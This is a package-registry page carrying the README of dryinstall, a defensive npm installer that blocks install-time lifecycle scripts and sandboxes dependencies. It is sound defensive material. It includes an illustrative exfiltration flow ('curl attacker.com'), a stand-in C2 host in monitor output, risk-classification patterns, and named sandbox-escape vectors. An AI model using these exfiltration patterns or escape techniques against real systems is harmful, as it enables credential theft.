JSPM

  • ESM via JSPM
  • ES Module Entrypoint
  • Export Map
  • Keywords
  • License
  • Repository URL
  • TypeScript Types
  • README
  • Created
  • Published
  • Downloads 25
  • Score
    100M100P100Q56508F

Supply Chain Attack 방어를 위한 Execution Isolation 아키텍처

Package Exports

  • dryinstall
  • dryinstall/src/loader.js

This package does not declare an exports field, so the exports above have been automatically detected and optimized by JSPM instead. If any package subpath is missing, it is recommended to post an issue to the original package (dryinstall) to support the "exports" field. If that is not possible, create a JSPM override to customize the exports field for this package.

Readme

dryinstall

Zero code executed during install.

A security-focused npm package installer that blocks install-time Remote Code Execution (RCE) by intercepting lifecycle scripts and isolating packages before any code runs.

npm install malicious-pkg
  → postinstall runs → curl attacker.com → ✗ your keys are gone

dryinstall install malicious-pkg
  → lifecycle blocked → sandbox isolated → ✓ zero code executed

The Problem

Every time you run npm install, you're trusting every package — and every one of its 1500+ dependencies — not to run malicious code on your machine.

Real attacks that already happened:

Package Attack Downloads
event-stream (2018) postinstall stole Bitcoin wallet keys 2M/week
colors + faker (2022) intentional sabotage, infinite loops 20M+/week
cline (2026) postinstall silently installed backdoor CLI Active
xz-utils (2024) 2-year supply chain compromise via build scripts Core Linux

The common thread: install-time script execution.

When npm install runs postinstall: node steal.mjs, it has full access to:

  • Your filesystem (~/.ssh, .env, credentials)
  • Your network (exfiltration to attacker C2)
  • Your shell (child_process.exec)

How dryinstall Works

npm install <pkg>
        │
        ▼
┌───────────────────┐
│  Layer 1: Audit   │  CVE scan — known vulnerabilities
└────────┬──────────┘
         │
         ▼
┌───────────────────┐
│ Layer 2: Lifecycle│  Blocks ALL install-time scripts
│        Block      │  preinstall, install, postinstall,
│                   │  prepare, prepack, postpack...
└────────┬──────────┘
         │
         ▼
┌───────────────────┐
│ Layer 3: Sandbox  │  vm isolation + Worker Thread
│                   │  fs / net / child_process blocked
└────────┬──────────┘
         │
         ▼
    dry_modules/
    (stored, not executed)

Result: The package is downloaded and stored. No lifecycle script runs. No code executes.


Quick Start

npm install -g dryinstall

# drop-in replacement for npm install
dryinstall install express
dryinstall install puppeteer --interactive

# scan existing node_modules for risks
dryinstall scan

# set up runtime protection for your app
dryinstall setup-loader
npm start  # now runs with sandbox protection

Features

Install-time Protection

# blocks all lifecycle scripts silently
dryinstall install <pkg>

# asks before each blocked script (recommended for auditing)
dryinstall install <pkg> --interactive

Interactive mode output:

┌──────────────────────────────────────────────────────────┐
│     [dryinstall:interactive] Lifecycle Script Detected   │
├──────────────────────────────────────────────────────────┤
│  Package : puppeteer                                     │
│  Hook    : postinstall                                   │
│  Command : node install.mjs                              │
│  Risk    : LOW                                           │
└──────────────────────────────────────────────────────────┘
  [a] Allow once        [A] Always allow  (saved to .dryinstallrc)
  [b] Block (rec.)      [B] Always block  (saved to .dryinstallrc)
  [v] View source file
  [s] Block all remaining

  Your choice (a/A/b/B/v/s) [auto-block in 15s]:

Risk is automatically classified:

  • HIGH — chained commands (&&, ;), HTTP calls, sudo, file deletion
  • MED — single suspicious pattern
  • LOW — standard build scripts

Typosquatting Detection

dryinstall install puppetee
# ✗ Package not found: puppetee
# Did you mean: puppeteer ?

Compares against the top 1000 npm packages (auto-refreshed every 24h) + your local node_modules.

Dependency Graph Analysis

dryinstall scan

# ═══ Dependency Graph — Risk Chain Analysis ═══
#
# ✗ malicious-pkg
#   Attack chains (2):
#     your-app → express → malicious-pkg
#     your-app → lodash → deep-dep → malicious-pkg

Runtime Protection

# registers loader into package.json start script
dryinstall setup-loader

# now: npm start runs as:
# node -r dryinstall/src/loader.js index.js

The loader intercepts all require() calls at runtime:

  • Packages in dry_modules/ load through the sandbox
  • fs, net, child_process access is blocked
  • Bypass vectors patched: process.mainModule.require, Module.createRequire, vm.runInThisContext

Network Analysis

During install, all HTTP/HTTPS requests are monitored:

✓ ALLOWED: https://registry.npmjs.org
⚠ SUSPICIOUS: "evil-pkg" → https://unknown-server.io
✗ DANGEROUS: "evil-pkg" → https://attacker-c2.net  [dangerous_pattern]

Real-World Test: puppeteer

dryinstall install puppeteer --interactive
Packages scanned : 1518
Scripts blocked  : 363
Risky packages   : 296

✓ All lifecycle scripts blocked
✓ Zero code executed during install

363 lifecycle scripts across 1518 dependencies — all blocked. None executed.


Security Levels

Level Name Blocks
3 Paranoid (default) All dangerous modules + Worker Thread isolation
2 Balanced child_process only
1 Relaxed vm isolation only
0 Off Monitor only, no blocking
dryinstall install <pkg> --level=2

Persistent Whitelist / Blacklist

[A] and [B] choices in interactive mode are saved to ~/.dryinstallrc:

{
  "alwaysAllow": ["glob", "rimraf"],
  "alwaysBlock": ["puppeteer"]
}

Applied automatically on every subsequent install.


CLI Reference

dryinstall install <pkg>                      # install with 3-layer protection
dryinstall install <pkg> --interactive        # ask before each blocked script
dryinstall install <pkg> --level=2            # set security level (0–3)
dryinstall install <pkg> --allow=fs,net       # allow specific modules in sandbox
dryinstall install <pkg> --allow-package=glob # allow lifecycle for specific pkg
dryinstall install <pkg> --watch              # enable process + port monitoring

dryinstall clean-install                      # remove node_modules, reinstall via pipeline
dryinstall scan                               # scan + isolate existing node_modules
dryinstall setup-loader                       # register runtime loader in package.json
dryinstall remove-loader                      # remove loader registration
dryinstall list                               # list packages in dry_modules

Architecture

dryinstall/
├── src/
│   ├── auditor.js          Layer 1: CVE audit
│   ├── cli.js              Layer 2: lifecycle blocking + Security Report
│   ├── sandbox.js          Layer 3: vm isolation + security levels + Policy
│   ├── storage.js          dry_modules storage + SHA256 integrity
│   ├── loader.js           runtime require() hook + bypass patching
│   ├── scanner.js          node_modules scan + isolation
│   ├── dep-graph.js        dependency graph + risk chain analysis
│   ├── network-analyzer.js install-time network monitoring
│   ├── typo-detector.js    typosquatting detection
│   ├── worker-runner.js    Worker Thread double isolation
│   └── monitor.js          background process + port monitoring
├── bin/
│   ├── dryinstall.js       CLI entry point
│   └── npm-wrapper.js      npm install interceptor
└── dryinstall.policy.json  per-package least-privilege policy

Known Limitations

  • Native addons (.node files): Cannot be sandboxed at the JS level. Requires OS-level isolation (Docker, seccomp). Packages like bcrypt, sharp, sqlite3 fall into this category.
  • Dynamic import(): ES module dynamic imports cannot be fully intercepted at the Node.js module loader level.
  • Prototype escape (partial): Function and eval are blocked inside the sandbox. Direct vm context escapes are patched, but novel escape techniques may exist.

This is a research-grade prototype. Production use should combine dryinstall with container isolation.


Background

This project was built to demonstrate Install-time RCE Mitigation — a pattern missing from the current npm security ecosystem.

Existing tools:

  • npm audit — finds known CVEs, does not prevent execution
  • socket.dev — dependency risk analysis, does not prevent execution
  • LavaMoat — runtime sandboxing, does not intercept install phase

dryinstall targets the gap: the install phase itself.

The core insight:

Attackers who dilute malicious prompts enough to evade detection also reduce attack effectiveness. The same applies here — if lifecycle scripts cannot execute, the attack surface disappears regardless of what the script contains.


License

MIT